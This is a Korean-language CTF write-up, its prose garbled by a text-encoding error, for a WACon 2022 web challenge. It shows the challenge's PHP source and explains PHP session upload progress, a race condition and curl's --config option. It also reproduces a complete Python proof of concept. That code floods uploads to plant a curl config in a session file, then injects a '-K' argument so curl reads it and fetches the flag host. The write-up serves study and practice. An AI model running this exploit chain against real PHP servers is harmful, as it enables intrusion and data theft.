๐Ÿšช Intro

์›น 2๋ฒˆ์งธ ๋ฌธ์ œ ์ž…๋‹ˆ๋‹ค. ์ด ๋ฌธ์ œ ์—ญ์‹œ poc ์ฝ”๋“œ์™€ ํžŒํŠธ๋ฅผ ๋ณด๊ณ  ์ •๋ณด๋ฅผ ์ฐพ์€ ๋’ค ํ’€๊ฒŒ ๋˜์—ˆ๋Š”๋ฐ์š”.

์ด ๋ฌธ์ œ๋ฅผ ํ’€๊ธฐ ์œ„ํ•ด์„œ๋Š” `session upload progress` ์— ๋Œ€ํ•ด ์•Œ๊ณ  ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ’ก Analysis - ์ฝ”๋“œ ๋ถ„์„

POST ๋ฐฉ์‹์œผ๋กœ url ๋ฐ์ดํ„ฐ๋ฅผ ๋„˜๊ธฐ๋ฉด curl ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ด๋•Œ url ๊ฐ’์€ ์—ฌ๋Ÿฌ๋ฒˆ์˜ ํ•„ํ„ฐ๋ง์„ ๊ฑฐ์น˜๊ฒŒ ๋˜์ฃ .

curl ์‹คํ–‰ ํ›„ ์ถœ๋ ฅ ๊ฐ’์—๋Š” ๋ณธ์ธ์˜ UUID ๊ฐ’์ด ํฌํ•จ๋˜์–ด ์žˆ์–ด์•ผ ์ถœ๋ ฅ ๊ฐ’์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<?php
session_start();
if (!isset($_POST["url"])) {
    highlight_file(__FILE__);
}

function uuid()
{
    $chars = md5(uniqid(mt_rand(), true));
    $uuid = substr($chars, 0, 8) . '-'
        . substr($chars, 8, 4) . '-'
        . substr($chars, 12, 4) . '-'
        . substr($chars, 16, 4) . '-'
        . substr($chars, 20, 12);
    return $uuid;
}

function Check($url)
{
    $blacklist = "/\}|\{|\[|\]|\:|f|g|[\x01-\x1f]|[\x7f-\xff]|['\"]/i";

    if (is_string($url)
        && strlen($url) < 4096
        && !preg_match($blacklist, $url)) {
        return true;
    }
    return false;
}

if (!isset($_SESSION["uuid"])) {
    $_SESSION["uuid"] = uuid();
}

echo $_SESSION["uuid"]."</br>";

if (Check($_POST["url"])) {
    $url = escapeshellarg($_POST["url"]);
    $cmd = "/usr/bin/curl ${url} --output - -m 3 --connect-timeout 3";
    echo "your command: " . $cmd . "</br>";
    $res = shell_exec($cmd);
} else {
    die("error~");
}

if (strpos($res, $_SESSION["uuid"]) !== false) {
    echo $res;
} else {
    echo "you cannot get the result~";
} 4a31bba3-28c1-9e16-b9da-8c1f258df555
error~

 

 

๐Ÿ’ก Analysis - Session Upload Progress

Session Upload Progress ๊ธฐ๋Šฅ์„ ์ด์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ ์›ํ•˜๋Š” ์„ธ์…˜ ํŒŒ์ผ ์ด๋ฆ„์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๊ณ , ์„ธ์…˜ ํŒŒ์ผ์— php ์ฝ”๋“œ๋ฅผ ๋„ฃ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์„ค๋ช…์€ ์ถ”ํ›„์— ์ •๋ฆฌํ•ด์„œ ๋ธ”๋กœ๊ทธ์— ํฌ์ŠคํŒ…ํ•  ๊ณ„ํš์ž…๋‹ˆ๋‹ค.

 

๊ฒฐ๋ก ๋งŒ ์•Œ๋ ค๋“œ๋ฆฌ์ž๋ฉด, ์ด ๊ธฐ๋Šฅ์„ ์•…์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์ž๋Š” ์—„์ฒญ ํฐ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜๋Š” ๋™์‹œ์— Session ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ณ , ํ•ด๋‹น ํŒŒ์ผ ์•ˆ์— php ์ฝ”๋“œ๋ฅผ ๋„ฃ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. (์ด ๋ฌธ์ œ์—์„œ๋Š” php ์ฝ”๋“œ๋ฅผ ๋„ฃ์ง€๋Š” ์•Š์Šต๋‹ˆ๋‹ค.)

 

์ด๋ ‡๊ฒŒ ์ƒ์„ฑ๋œ ์„ธ์…˜ ํŒŒ์ผ์€ ์ž ๊น ์กด์žฌ ํ–ˆ๋‹ค๊ฐ€ ์‚ฌ๋ผ์ง‘๋‹ˆ๋‹ค. ์ฆ‰, ์„œ๋ฒ„์—์„œ ํ•ด๋‹น ์„ธ์…˜ ํŒŒ์ผ์ด ์‚ฌ๋ผ์ง€๊ธฐ ์ „์— ์จ๋จน์–ด์•ผ ํ•˜์ฃ .

์ฆ‰, Race condition ์„ ์ผ์œผ์ผœ์•ผ ํ•ฉ๋‹ˆ๋‹ค.

 

 

 

๐Ÿ’ก Analysis - cUrl config file

curl ์—์„œ `--config` ๋ผ๋Š” ์˜ต์…˜์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์„ค์ •์„ txt๋กœ ์ €์žฅํ•œ ํ›„, ํ•ด๋‹น ํŒŒ์ผ์„ ์ฝ์–ด ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๋Š” ์˜ต์…˜์ž…๋‹ˆ๋‹ค.

https://curl.se/docs/manpage.html#:~:text=compressed%2Dssh.-,%2DK%2C%20%2D%2Dconfig,-%3Cfile%3E

 

 

์˜ˆ๋ฅผ ๋“ค์–ด, ์•„๋ž˜์ฒ˜๋Ÿผ ํŒŒ์ผ์„ ์ž‘์„ฑํ•˜๋ฉด curl์€ url์˜ ๊ฐ’์œผ๋กœ ์ ‘์†ํ•˜๊ณ  ๊ทธ์— ๋Œ€ํ•œ ๊ฒฐ๊ณผ๋Š” output ์˜ต์…˜์— ์ž‘์„ฑ๋œ ๊ฒฝ๋กœ๋กœ ์ €์žฅ๋ฉ๋‹ˆ๋‹ค.

 

 

๋งŒ์•ฝ ์—ฌ๋Ÿฌ๊ฐœ์˜ url ๋ชฉ๋ก์„ ์ž‘์„ฑํ•  ๊ฒฝ์šฐ ์•„๋ž˜์ฒ˜๋Ÿผ {} ์ฆ๊ด„ํ˜ธ๋ฅผ ์ด์šฉํ•˜์—ฌ site.one.com, stie.two.com ์ด๋Ÿฐ์‹์œผ๋กœ ์—ฌ๋Ÿฌ๊ฐœ์˜ url์— ์š”์ฒญ์„ ๋ณด๋‚ด๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

 

 

 

 

๐Ÿ’ก Exploit

๋Œ€ํšŒ ์ข…๋ฃŒ ์ดํ›„, ๋Œ€ํšŒ ์šด์˜์ž์ธ sqrtrev๋‹˜๊ป˜์„œ ์˜ฌ๋ ค์ฃผ์‹  poc ์ฝ”๋“œ๋ฅผ ํ†ตํ•ด ์„ค๋ช… ๋“œ๋ฆฌ๊ฒ ์Šต๋‹ˆ๋‹ค. (sqrtrev๋‹˜ ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค.)

์šฐ์„  ๋ณธ์ธ์˜ cookie์™€ uuid ๊ฐ’์„ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค.

 

11๋ฒˆ์งธ ์ค„์—์„œ, ์ƒ์„ฑํ•  ์„ธ์…˜ ํŒŒ์ผ ์ด๋ฆ„์„ ์ง€์ •ํ•ด ์ค๋‹ˆ๋‹ค.

13๋ฒˆ์งธ ์ค„์—์„œ, ์ƒ์„ฑ๋œ ์„ธ์…˜ ํŒŒ์ผ์— ์ ์„ ๋‚ด์šฉ์„ ์ž‘์„ฑํ•ด ์ค๋‹ˆ๋‹ค. ์ด ๋‚ด์šฉ์€ curl --config ์˜ต์…˜์— ์‚ฌ์šฉ๋  ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค.

host๊ฐ€ flag๋กœ ๋˜์–ด ์žˆ๋Š” ์ด์œ ๋Š” docker ํŒŒ์ผ์— flag๊ฐ€ ์žˆ๋Š” ์ปจํ…Œ์ด๋„ˆ ์ด๋ฆ„์ด flag ์ด๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

14๋ฒˆ์งธ ์ค„์—์„œ, ์—„์ฒญ ํฐ ๋ฐ์ดํ„ฐ๋ฅผ ์ƒ์„ฑํ•ด ์ค๋‹ˆ๋‹ค.

16๋ฒˆ์งธ ์ค„์—์„œ, session upload progress ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด ์„ธํŒ…ํ•ด ์ค๋‹ˆ๋‹ค.

์ดํ›„ Race Condition์„ ์œ ๋ฐœํ•˜๊ธฐ ์œ„ํ•ด Thread๋ฅผ ํ†ตํ•ด ๊ณ„์† ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.

 

 

์ตœ์ข…์ ์œผ๋กœ Race Condition์„ ์œ ๋ฐœํ•˜๊ธฐ ์œ„ํ•ด ์œ„์—์„œ ์ƒ์„ฑ๋œ ์„ธ์…˜ ํŒŒ์ผ์„ curl ์˜ --config ์˜ต์…˜์œผ๋กœ ๋„ฃ์–ด ์ค๋‹ˆ๋‹ค. 

 

 

๋‹ค์Œ์€ ์ตœ์ข… poc ์ฝ”๋“œ ์ž…๋‹ˆ๋‹ค.

import requests
import threading
HOST = 'http://110.10.147.146:8000/'
def init_session():
    conn = requests.get(HOST)
    cookie = conn.headers["Set-Cookie"]
    uuid = conn.text
    return uuid[uuid.index("</code>")+7:uuid.index("</br>")], cookie[:cookie.index(";")]
def exploit(uuid):
    headers = {
        'Cookie': 'PHPSESSID=sqrtrev'
    }
    pay = '\n\nurl="{flag:31337,%s}"\n\n'%uuid
    dummy = "a" * (8000000-1)
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': pay
    }
    def run():
        while True:
            conn = requests.post(HOST, files={"f": dummy}, data=data, headers=headers)
            r1 = conn.text
    for i in range(10):
            T = threading.Thread(target=run, args=())
            T.start()
def getflag(cookie):
    headers = {
        'Cookie': cookie
    }
    data = {
        'url': "-K/var/lib/php/sessions/sess_sqrtrev"
    }
    while True:
        conn = requests.post(HOST, data=data, headers=headers)
        output = conn.text
        if 'WACon' in output:
            break
    return output[output.index("WACon"):output.index("}")+1]
if __name__ == "__main__":
    uuid, cookie = init_session()
    exploit(uuid)
    print(getflag(cookie))

 

 

์ด ๊ฒŒ์‹œ๊ธ€์—๋Š” session upload progress์— ๋Œ€ํ•œ ์„ค๋ช…์„ ๋‹ค๋ฃจ์ง€ ์•Š๋‹ค ๋ณด๋‹ˆ, ๋กธ์—…์ด ์ƒ๋‹นํžˆ ๋นˆ์•ฝํ•ฉ๋‹ˆ๋‹ค.

์ถ”ํ›„์— ์ด ๊ธฐ๋Šฅ์— ๋Œ€ํ•ด ๊ณต๋ถ€ํ•ด๋ณด๊ณ  ํฌ์ŠคํŒ…ํ•  ๊ณ„ํš์ž…๋‹ˆ๋‹ค.

'CTF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

DiceCTF 2022 writeup  (0) 2022.07.25
[WACon 2022] ppower write up  (2) 2022.06.28
[WACon 2022] Kuncษ›lan write up  (0) 2022.06.27
zer0pts ctf 2022 GitFile Explorer write up  (0) 2022.03.27
hayyim CTF 2022 writeup  (0) 2022.02.13